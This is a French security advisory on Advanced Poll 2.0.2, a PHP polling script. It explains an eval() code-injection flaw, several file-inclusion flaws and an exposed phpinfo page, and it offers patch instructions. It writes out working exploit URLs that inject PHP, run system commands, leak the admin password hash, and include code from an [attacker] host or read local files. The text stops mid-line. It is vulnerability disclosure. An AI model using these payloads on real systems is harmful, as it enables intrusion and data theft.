Advanced Poll ************* Informations : °°°°°°°°°°°°°° Langage : PHP Version : 2.0.2 TextFile Website : http://www.proxy2.de Problèmes : - Injection de code PHP via eval() - Inclusions de fichiers - phpinfo() Developpement : °°°°°°°°°°°°°°° Advanced Poll est un système de sondage avec templates, multi-sondages, notification par email, partie admin,... Au début du fichier comments.php, on voit les lignes suivantes : ------------------------------------------------------------------------------------------------------ [...] $register_poll_vars = array("id","template_set","action"); for ($i=0;$i"template_set", 2->"action"). Et si $register_poll_vars[$i] vaut "id", $HTTP_GET_VARS[$register_poll_vars[$i]] (ou $HTTP_GET_VARS["id"]) est une variable dont on peut nous-mêmes définir la valeur. Ainsi, si on tape l'url http://[target]/comments.php?id=test1, eval() exécutera le code : -------------- $id = "test1"; -------------- Même chose pour template_set et action; si on tape l'url http://[target]/comments.php?id=test1&template_set=test2&action=test3, le code suivant sera exécuté par eval : -------------- $id = "test1"; -------------- puis ------------------------ $template_set = "test2"; ------------------------ puis ------------------ $action = "test3"; ------------------ Même résultat avec le formulaire POST : ----------------------------------------------------------
---------------------------------------------------------- Mais imaginons maintenant que ça ne soit plus "test1" qui soit donné comme valeur à une des ces droits variables, mais : ";phpinfo();// par exemple via l'url http://[target]/comments.php?id=";phpinfo();// . Le code exécuté par eval alors ne serait plus : -------------- $id = "test1"; -------------- mais : ----------------------- $id = "";phpinfo();//"; ----------------------- La variable ne vaudrait pas "test1", elle ne vaudrait plus rien. Ensuite une fonction phpinfo() serait exécutée, et les derniers caractères "; seraient considérés comme du commentaire à cause des caractères // qui les précèdent. On a donc réussit à injecter du code (encore une fois possible via formulaire POST), et à partir de là on peut imaginer beaucoup de chose. Un exemple : l'url http://[target]/comments.php?id=";include("/include/config.inc.php");echo"$pollvars['poll_password']&template_set=";$include_path="http://[attacker]&action=";system($cmd);//&cmd=ls donne à la variable : - id la valeur : ";include("/include/config.inc.php");echo"$pollvars['poll_password'] - template_set la valeur : ";$include_path="http://[attacker] - action la valeur : ";system($cmd);// pour faire exécuter à eval() les lignes de code : ------------------------------------------------------------------------------------------- $id = "";include("/include/config.inc.php");echo"$pollvars['poll_password']"; $template_set = "";$include_path="http://[attacker]"; $action = "";system($cmd);//"; ------------------------------------------------------------------------------------------- La première ligne inclut le fichier /include/config.inc.php, et affiche la variable $pollvars['poll_password'] qu'il contient, le password admin crypté. La deuxième ligne définit la variable $include_path comme étant "http://[attacker]". Cela peut servir plus bas, car on voit les lignes : ------------------------------------------------------- require $include_path."/include/config.inc.php"; require $include_path."/include/class_poll.php"; require $include_path."/include/class_pollcomment.php"; ------------------------------------------------------- donc si un de ces 3 fichiers se trouve sur le site http://[attacker], ils seront inclut et exécutés. La troisième ligne contient une fonction system() qui exécute la commande contenue dans $cmd. $cmd est ici définie dans l'url comme étant "ls". Cette faille se retrouve dans la version DB. Voyons maintenant les differentes failles include(), qui sont plutôt particulières. La première est la plus surprenante, car elle ne fonctionne QUE SI register_globas VAUT OFF dans le php.ini. Alors qu'evidemment, la majorité du temps, c'est uniquement quand cette option vaut ON qu'une faille de ce type est utilisable. Elle se trouve dans le fichier booth.php, où on peut voir les lignes de code suivantes : ---------------------------------------------------------------
--------------------------------------------------------------------- ou enfin d'envoyer un cookie avec comme nom "include_path" et comme valeur "http://[attacker]" sur la page http://[target]/booth.php . Cette même faille est possible avec les fichiers poll_ssi.php et popup.php dans lesquels on peut voir : ---------------------- include "./booth.php"; ---------------------- Et aussi dans png.php, qui contient le même code que booth.php, avec une inclusion en plus : ------------------------------------------------ require $include_path."/include/class_pgfx.php"; ------------------------------------------------ La dernière faille include se trouve dans le fichier admin/common.inc.php : --------------------------------------------------------------- [...] if (!isset($PHP_SELF)) { $PHP_SELF = $HTTP_SERVER_VARS["PHP_SELF"]; if (isset($HTTP_GET_VARS)) { while (list($name, $value)=each($HTTP_GET_VARS)) { $$name=$value; } } if (isset($HTTP_POST_VARS)) { while (list($name, $value)=each($HTTP_POST_VARS)) { $$name=$value; } } if(isset($HTTP_COOKIE_VARS)){ while (list($name, $value)=each($HTTP_COOKIE_VARS)){ $$name=$value; } } } $pollvars['SELF'] = basename($PHP_SELF); unset($lang); if (file_exists("$base_path/lang/$pollvars[lang]")) { include ("$base_path/lang/$pollvars[lang]"); } else { include ("$base_path/lang/english.php"); } [...] --------------------------------------------------------------- On a d'abord encore une fois le même code. On peut donc définir/redéfinir des variables, et la faille fonctionnera avec register_globals=OFF. Puis on voit le code : ----------------------------------------------------- if (file_exists("$base_path/lang/$pollvars[lang]")) { include ("$base_path/lang/$pollvars[lang]"); } else { include ("$base_path/lang/english.php"); } ----------------------------------------------------- On voit d'abord qu'il y a deux inclusions, une avec deux variables, l'autre avec une. On voit aussi que la variable contenant le début du path du fichier à inclure n'est plus $include_path mais bien $base_path. Mais ici, contrairement aux premières failles, $base_path n'est défini nulle part ! On pourra donc définir cette variable que register_globals soit sur ON OU sur OFF. La première inclusion est vérifiée par un file_exists(), on ne pourra donc que inclure des fichiers locaux. Par contre, on pourra choisir le chemin ET le nom du fichier, avec une url du type : http://[target]/admin/common.inc.php?base_path=..&pollvars[lang]=../../../file/to/view Mais attention ! Ici, pollvars[lang] est déjà définie dans l'exécution du script. Cette dernière URL ne fonctionnera, elle, que si register_globals=OFF. Autre chose pour cette url, $base_path doit toujours être le chemin de la racine d'Advanced Poll, car il n'y a que là que se trouve un dossier /lang/ où le fichier est recherché. La faille qui fonctionne sur ON ou OFF, c'est la deuxième inclusion : -------------------------------------------- include ("$base_path/lang/english.php"); -------------------------------------------- qui permettra d'inclure le fichier http://[attacker]/lang/english.php avec une url de type : http://[target]/admin/common.inc.php?basepath=http://[attacker] ou encore une fois avec un formulaire ou par cookie... Cette même faille est reproductible (uniquement si register_globals=OFF) dans plusieurs fichiers du dossier /admin/ qui sont : - index.php - admin_tpl_new.php - admin_tpl_misc_new.php - admin_templates_misc.php - admin_templates.php - admin_stats.php - admin_settings.php - admin_preview.php - admin_password.php - admin_logout.php - admin_license.php - admin_help.php - admin_embed.php - admin_edit.php - admin_comment.php En effet on peut y voir les lignes : ------------------------------------ [...] $include_path = dirname(__FILE__); $base_path = dirname($include_path); require "./common.inc.php"; [...] ------------------------------------ Enfin la faille phpinfo(), classique... elle se trouve dans le fichier misc/info.php : ------------------------- PHP Info ------------------------- Solutions : °°°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. Voici néanmoins une rapide expliquation : - Pour les codes du type : ------------------------------------------------------------- if (!isset($PHP_SELF)) { $PHP_SELF = $HTTP_SERVER_VARS["PHP_SELF"]; if (isset($HTTP_GET_VARS)) { while (list($name, $value)=each($HTTP_GET_VARS)) { $$name=$value; } } if (isset($HTTP_POST_VARS)) { while (list($name, $value)=each($HTTP_POST_VARS)) { $$name=$value; } } if(isset($HTTP_COOKIE_VARS)){ while (list($name, $value)=each($HTTP_COOKIE_VARS)){ $$name=$value; } } } ------------------------------------------------------------- il faut les mettre en premier, avant toutes déclarations de variables ou inclusions de fichiers. - misc/info.php doit être simplement supprimé. - Dans admin/common.inc.php, rajouter les lignes : ------------------------------------- $include_path = dirname(__FILE__); $base_path = dirname($include_path); ------------------------------------- après le code rajouté plus haut, et supprimer ces deux lignes dans tout les fichiers du dossier /admin/ où admin/common.inc.php est inclut, sauf /admin/admin_password.php. - Dans comments.php, remplacer les lignes ---------------------------------------------------------------------------------------------------- for ($i=0;$i